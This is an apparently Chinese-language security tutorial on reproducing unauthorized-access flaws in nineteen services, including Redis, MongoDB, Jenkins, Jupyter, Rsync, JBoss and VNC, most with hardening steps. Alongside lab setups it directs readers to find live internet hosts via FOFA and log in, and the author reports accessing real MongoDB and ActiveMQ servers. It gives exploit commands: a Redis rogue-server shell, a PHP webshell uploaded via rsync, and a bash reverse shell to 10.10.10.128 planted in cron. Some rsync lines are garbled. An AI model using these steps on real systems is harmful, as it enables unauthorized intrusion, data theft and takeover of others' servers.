一. Redis
复现
首先我们需要用docker启动一个靶机,命令如下
进⼊⽬录:cd /vulhub-master/redis/4-unacc
启动:docker-compose up -d
检查:docker-compose ps
然后在kali上面安装redis程序,命令为
#安装redis
apt-get install redis
#redis链接
redis-cli -h x.x.x.x -p 6379
连接后会弹出以下语言,直接连接上了,不需要认证,就说明存在未授权访问漏洞
接着我们下载redis-rogue-server.py来获取shell,下载连接https://github.com/n0b0dyCN/redis-rogue-server,下载后使用python3启动,然后就可以获取shell了,执行命令如下
python3 redis-rogue-server.py --rhost x.x.x.x --lhost x.x.x.x
二.MongoDB
漏洞复现
首先去fofa搜索端口为27017的ip,然后直接用navicat去尝试连接即可
首先打开navicat,点击连接,选择MongoDB,这里的主机填写我们查到的ip,连接名随便填写,然后测试连接
这里我直接找到了一个可以连接的
如何修复
1. 为MongoDB添加认证:MongoDB启动时添加 --auth 参数、为MongoDB添加⽤户。2. MongoDB ⾃身带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭 的。mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管 理,建议禁⽤。修改配置⽂件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false 。3. 启动时加⼊参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf ⽂件中添加以下内容:bind_ip = 127.0.0.1 。
三.Memcached
漏洞复现
首先我们需要下载Memcached程序,下载链接如下
https://www.runoob.com/memcached/window-install-memcached.html
下载后我们利用如下命令安装并启动Memcached漏洞程序
memcached.exe -d install
memcached.exe -d start
然后用telnet去连接有memcached的11211 端口,这里我们去fofa中搜索端口为11211的ip,然后尝试连接,出现如下字样就是连接成功了
然后可以使用命令
stats //查看memcache服务状态
stats items //查看所有items
stats cachedump 39 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value获得实际缓存内容,造
成敏感信息泄露
nmap -p 11211 --script memcached-info x.x.x.x
如何修复
1. 设置Memchached只允许本地访问。2. 禁⽌外⽹访问Memcached 11211端⼝。3. 配置访问控制策略。4. 最⼩化权限运⾏。5. 修改默认端⼝等。
四.Jenkins
漏洞复现
首先我们利用如下语句在fofa中搜索
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"
找到一个页面中有Manage Jenkins的,往下滑会有一个Scritp Console
点开之后我们就可以在里面执行命令了,这里我们执行一个println "whoami" .execute().text,发现成功执行
如何修复
1. 升级版本。2. 添加认证,设置强密码复杂度及账号锁定。3. 禁⽌把Jenkins直接暴露在公⽹。
五.Jupyter NoteBook
漏洞复现
同样的,我们在fofa中搜索"Jupyter Notebook" && port="8888",如果存在未授权访问漏洞,那么点进去会直接跳转到web页面,否则就会到一个登陆页面
登陆页面
web页面
在web页面,我们可以直接创建一个终端来执行命令,点击new里的terminal即可
然后在这里可以直接执行命令
如何修复
1. 开启身份验证,防⽌未经授权⽤户访问。2. 访问控制策略,限制IP访问,绑定固定IP。
六.Elasticsearch
ElasticSearch是⼀个基于Lucene的搜索服务器。它提供了⼀个分布式多⽤户能⼒的全⽂搜索引擎,基于RESTful web接⼝。Elasticsearch是⽤Java开发的,并作为Apache许可条款下的开放源码发布,是当前流⾏的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接⼝完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进⾏任意操作。业务系统将⾯临敏感数据泄露、数据丢失、数据遭到破坏甚⾄遭到攻击者的勒索。
复现步骤:
首先我们利用如下语法在fofa中进行搜索
"Elasticsearch" && port="9200"
然后寻找能直接点进去查看到信息的ip
含有未授权访问漏洞则会出现如下页面
可以按照上面的查看节点信息,如访问ip的/_nodes 目录
如何修复
1. 访问控制策略,限制IP访问,绑定固定IP。2. 在 config/elasticsearch.yml 中为9200端⼝设置认证等
七.Kibana
漏洞复现
我们利用如下语法在fofa中进行搜索
"kibana" && port="5601"
如果该网站存在未授权访问漏洞,则不会出现登陆界面
而是直接进入网站界面
那么我们就可以通过拼接路径HTTP://{IP}/app/kibana#/进入网站内部查看信息
如何修复
1. 升级Kibana到最新版本,升级地址如下 https://www.elastic.co/cn/downloads/kibana 。2. 在kibana所在的服务器上安装nginx服务,利⽤nginx的转发指令实现,需要输⼊账号密码才可以访问⻚⾯。3. 如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP来访问服务。
八.Docker Remote API
漏洞复现
我们利用如下语法在fofa中进行搜索
port="2375"
九.Kubernetes Api Server
漏洞复现
我们在fofa中利用如下语法进行搜索
port="8080" && app="Kubernetes"
点进去即可得到类似如下页面,这就证明这个网站有未授权访问漏洞
如何修复
1. 进⾏授权认证2. 使⽤Service Account令牌3. 置防⽕墙策略
十.Hadoop
漏洞复现
port="8088" && app="Hadoop"
如果出现如下页面,则存在未授权访问漏洞
修复方法
1. 如⽆必要,关闭 Hadoop Web 管理⻚⾯。2. 开启身份验证,防⽌未经授权⽤户访问。3. 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端⼝对公⽹全部禁⽌或限制可信任的 IP地址才能访问包括 50070 以及 WebUI 等相关端⼝。
十一.ActiveMQ
漏洞复现
我们利用如下语法在fofa中进行搜索
body="ActiveMQ" && port="8161"
在如下页面中,点击Manage ActiveMQ broker后会进入一个登陆页面或者弹出一个登录框,我们尝试输入弱口令密码,如果可以登陆进去,则该页面存在未授权访问漏洞
我找的这个网站就存在未授权访问漏洞,点击进去后会谈到一个炫酷的登陆页面,直接输入admin-admin,就成功登陆进去
漏洞修复
1. ActiveMQ的安全配置分为控制台安全配置和后台安全配置。控制台安全配置是指⽤户通过浏览器登录ActiveMQ管理界⾯,对ActiveMQ进⾏管理的⼀个安全配置;主要是添加⽤户和密码。后台安全配置是指程序通过ActiveMQ发送消息的⼀个安全配置。2. ActiveMQ后台安全配置。 配置置连接ActiveMQ的⽤户名和密码,如果不设置ActiveMQ安全机制,任何知道ActiveMQ服务的IP、端⼝和消息地址的⼈,都可以接受和发送消息。
十二.RabbitMQ未授权访问漏洞
漏洞复现
我们在fofa中搜索如下端口
port="15672"
port="15692"
port="25672"
然后回出现一个登录界面,这里的默认账号和密码都是guest ,直接尝试登陆
如果成功登录进入如下页面,则该网站存在未授权访问漏洞
漏洞修复
1. 修改为强密码,删除默认的账号guest。2. 禁⽌对外⽹开放,仅限于内部访问。
十三.Springboot Actuator
漏洞复现
在fofa中搜索如下语句
icon_hash="116323821"
十四.FTP未授权访问漏洞(匿名登陆)
漏洞复现
首先我们要打开iis服务,我这里使用的server2012虚拟机开启,添加功能时要选择上ftp,然后在网站这里点击添加FTP站点
站点名称随便填写,物理路径选择一个有东西的文件夹,然后点击下一步
在这里选择一个物理机可以访问到的ip,选择无ssl后点击下一步
这里选择匿名和匿名用户,并且给了读取与写入的权限,点击完成
在物理机中的资源管理器中利用访问ftp://192.168.159.128:21/,就可以获取到该ftp站点下的所有文件了
漏洞修复
禁⽌匿名登录
十五.JBoss
JBoss是⼀个基于J2EE的开放源代码应⽤服务器,代码遵循LGPL许可,可以在任何商业应⽤中免费使⽤;JBoss也是⼀个管理EJB的容器和服务器,⽀持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输⼊⽤户名和密码可以直接部署上传⽊⻢有安全隐患。
漏洞复现
我们在fofa中搜索如下语句
title="Welcome to JBoss"
点击进入页面后,再点击页面中的JMX Console链接,如果能直接进入控制页面而不会显示404或者登陆界面的话,就证明这个网站存在未授权访问漏洞
出现如下界面,则存在未授权访问漏洞
然后我们还可以通过jboss.deployment部署shell
修复方法
1. jboss.deployment部署shell2. 进⾏JMX Console 安全配置。
十六.Ldap
漏洞复现
首先我们需要下载一个ldapadmin软件,链接:https://sourceforge.net/projects/ldapadmin/
下载完成后在fofa中进行搜索端口为389的ip
然后打开刚刚下载的ldapadmin软件,点击左上角的连接,然后点击new connection
将搜索到的IP地址填入框中,然后勾选下面的Anonymous connection(匿名访问)后点击Test connection(测试连接)
当出现连接成功时则证明该网页存在ldap未授权访问漏洞
然后就可以连接⽬标LDAP服务并查看其内容
如何修复
1. 修改ldap的acl,不允许匿名访问。2. 根据业务设置ldap访问⽩名单或⿊名单。
十七.Rsync
Rsync 是Linux/Unix下的⼀个远程数据同步⼯具,可通过LAN/WAN快速同步多台主机间的⽂件 和⽬录,默认运⾏在873端⼝。由于配置不当,导致任何⼈可未授权访问rsync,上传本地⽂件,下载服务器⽂件。 Rsync 默认允许匿名访问,如果在配置⽂件中没有相关的⽤户认证以及⽂件授权,就会触发隐患。Rsync 的默认端⼝为 837 且默认配置⽂件路径在/etc/rsync.conf
漏洞复现
我们在fofa中搜索语法如下
(port="873") && (is_honeypot=false && is_fraud=false)
然后自己开启一个vulhub靶机,命令如下
cd vulhub/rsync/common
docker-compose up -d
然后到kali中利用如下语句去连接并读取文件
rsync rsync://192.168.124.153:873/
rsync rsync://192.168.124.153:873/src/
证明其有未授权访问漏洞后,就可以对其敏感文件内容进行下载,利用如下命令
rsync rsync://IP:port/src/etc/passwd ⽬标路径
如果靶机内有相应的asp/php/jsp环境的话,还可以写入一个一句话木马对其进行控制,命令如下
先自己写一个一句话木马:echo "<?php @eval($_POST[cmd]); ?>" > shell.php
然后将其放到靶机的home目录下:rsync ./phpinfo.php rsync://IP:873/src/home/
执行完成后查看是否上传成功,发现home中成功出现一个shell.php文件
反弹shell
rsync rsync://IP:873/src/etc/crontab
//查看rsync rsync://ip/src/etc/crontab /tmp/tmp/crontab.txt
//下载
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1chmod 777 shell
上传到靶机上,然后开启监听端口4444,等待即可反弹获取shell
rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/
cron.hourlync -lvp 4444
修复方法
配置认证⽤户名或者密码 host allow/deny 来控制接⼊源 IP uid和 gid, 使⽤⾜够但最⼩权限的账号进⾏ 必要时候可以配置只读 ⾮必要应该仅限制配置路径下可访问1. 修改指定端⼝- 配置⽂件不存在修改指定端⼝的选项,可以在启动命令⾏通过参数指定/usr/local/rsync/bin.rsync --port=878 --daemon- 查看进程检测是否更改端⼝ ps -ef | grep rsync2. 禁⽌匿名访问- 配置⽂件 /etc/rsync.conf 中增加 auth users = test- 若未包含 auth users 即为匿名访问
十八.VNC
漏洞复现
我们在fofa中搜索语法如下
(port="5900") && (is_honeypot=false && is_fraud=false)
然后在kali中利用MSF中的auxiliary/scanner/vnc/vnc_none_auth 模块对搜索到的ip进行漏洞检索与利用输入msfconsole进入msf控制台后,输入use auxiliary/scanner/vnc/vnc_none_auth 进入攻击模块
再输入set rhosts IP-254 ,设置线程threads为100后输入run运行
即可判断该ip是否存在未授权访问漏洞
十九.Dubbo
漏洞复现
我们使用以下语句在fofa中进行搜索
(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)
将搜到的ip到kali中利用telnet进行链接测试,出现如下语句则代表连接成功,存在dubbo未授权访问漏洞
如何防御
1. 配置dubbo认证。2. 设置防⽕墙策略;如果正常业务中 dubbo 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。